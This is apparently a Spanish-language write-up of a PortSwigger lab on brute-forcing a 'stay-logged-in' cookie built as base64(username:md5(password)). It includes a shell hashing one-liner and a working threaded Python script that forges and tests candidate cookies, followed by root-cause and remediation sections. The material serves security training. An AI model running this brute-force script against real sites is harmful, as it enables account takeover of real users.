← Writeups

Brute-Forcing a Stay-Logged-In Cookie — PortSwigger Lab

Fuerza bruta de la cookie persistente stay-logged-in, cuyo formato base64(user:md5(password)) permite probar todo el wordlist como cookies precalculadas.

Brute-Forcing a Stay-Logged-In Cookie

1. Target Overview & Vulnerability Summary

Campo Valor
Severidad Alta
Endpoint vulnerable GET /my-account (acceso condicionado por la cookie stay-logged-in)
Root cause La cookie persistente se construye como base64(username:md5(password)), sin secreto ni HMAC: es forjable y brute-forceable sin conocimiento previo

La opción "stay logged in" genera una cookie cuyo valor es la codificación base64 de usuario:md5(password). Al no existir ningún secreto en la construcción, un atacante puede precalcular el wordlist completo como cookies candidatas y validarlas contra /my-account.

2. Technical Breakdown & Exploitation Flow

2.1 Análisis del formato de la cookie

Tras marcar la opción en el login, las cookies de sesión contienen:

d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw

Decodificando en base64:

$ echo -n 'd2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw' | base64 -d
wiener:51dc30ddc473d43a6011e9ebba6ca770

El string sigue el formato usuario:password, donde el hash es MD5 de la contraseña: md5("peter") == 51dc30ddc473d43a6011e9ebba6ca770.

2.2 Método 1 — Precodificar el wordlist

Se genera el conjunto de hashes MD5 de todas las contraseñas candidatas:

cat pass.txt | xargs -I {} sh -c 'echo -n "{}" | md5sum | cut -d" " -f1' | tee hashed_pass.txt

Cada línea del wordlist se procesa sin newline (echo -n), se hashea con md5sum y se extrae solo el hash con cut. El resultado alimenta el siguiente paso, donde se construye base64(carlos:<hash>) y se prueba contra el endpoint.

Nota operativa: la cookie a forzar no es la de la sesión autenticada de wiener; se usa la cookie stay-logged-in que la app emite antes de iniciar sesión.

2.3 Método 2 — Script Python (precalcular y validar)

El script genera base64(username:md5(password)) para cada candidato y busca el indicador Update email en /my-account (página autenticada):

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep
from hashlib import md5
from base64 import b64encode
import sys

def fetchPasswordCookies(filename, username='carlos'):
    cookies_list = []
    with open(filename, 'r', encoding='utf-8') as fd:
        for line in fd:
            password = line.strip()
            if not password:
                continue
            password_hash = md5(password.encode('utf-8')).hexdigest()
            cookie_string = f'{username}:{password_hash}'
            cookie_base64 = b64encode(cookie_string.encode('utf-8')).decode('ascii')
            cookies_list.append(cookie_base64)
    return cookies_list

def sendRequest(url, cookieValue, session_cookie):
    cookie = {'session': session_cookie, 'stay-logged-in': cookieValue}
    try:
        response = requests.get(url, cookies=cookie, timeout=5)
        if 'Update email' in response.text:
            print(f'\n[+] COOKIE VÁLIDA ENCONTRADA: {cookieValue}')
            print(response.text)
            with open('cookies_validas.txt', 'a') as f:
                f.write(f'{cookieValue}\n')
    except requests.exceptions.RequestException as e:
        print(f'[!] Error de conexión: {e}')

def main():
    url = 'https://0a4e00260337de1184e277c800b600d5.web-security-academy.net/my-account'
    session_cookie = 's6PRLj80ZcEvWP92TQw295YO6a5pS2SJ'
    password_file = './pass.txt'
    username = 'carlos'

    print(f"[*] Generando cookies para el usuario: {username}")
    cookies_list = fetchPasswordCookies(password_file, username)
    print(f"[*] Total de cookies a probar: {len(cookies_list)}")

    for i, cookieValue in enumerate(cookies_list, 1):
        thread = Thread(target=sendRequest, args=(url, cookieValue, session_cookie))
        thread.start()
        if i % 10 == 0:
            print(f'[*] Progreso: {i}/{len(cookies_list)} cookies probadas')
        sleep(0.2)

    main_thread = threading.current_thread()
    for thread in threading.enumerate():
        if thread is not main_thread:
            thread.join()

    print("\n[*] Ataque completado. Revisa cookies_validas.txt.")

if __name__ == '__main__':
    import threading
    main()

La cookie stay-logged-in que coincide con la contraseña real de carlos devuelve la página con Update email, confirmando la autenticación.

3. Root Cause Analysis

El defecto es la ausencia de un secreto en la construcción del token persistente:

# Implementación vulnerable
stay_logged_in = base64(username + ":" + md5(password))   # ❌ Sin HMAC, sin salt, sin expiración

# GET /my-account
if valid_cookie(request.cookies["stay-logged-in"]):
    show_account()                                        # Confía en el valor descifrable

MD5 sin salt es reversible con wordlists, y el formato base64 es un cifrado obvio. El token debería ser un valor aleatorio no derivable almacenado en servidor, o al menos un HMAC con secret.

4. Secure Remediation

Emitir un token de sesión persistente impredecible y validarlo en servidor:

# Implementación segura
# Generación
session_token = generate_crypto_random(32)
store_in_db(session_token, username, expires_at)

# Validación
if lookup(request.cookies["stay-logged-in"]) is None:
    deny()                                                # Token aleatorio, no derivable

# Nunca derivar de datos del usuario ni de hashes débiles

Defensa en profundidad: aplicar HttpOnly + Secure a la cookie, revocarla en logout, fijar expiración corta con re-validación y migrar el almacenamiento de contraseñas a argon2id/bcrypt (el formato md5(password) rompe incluso con políticas de password fuertes).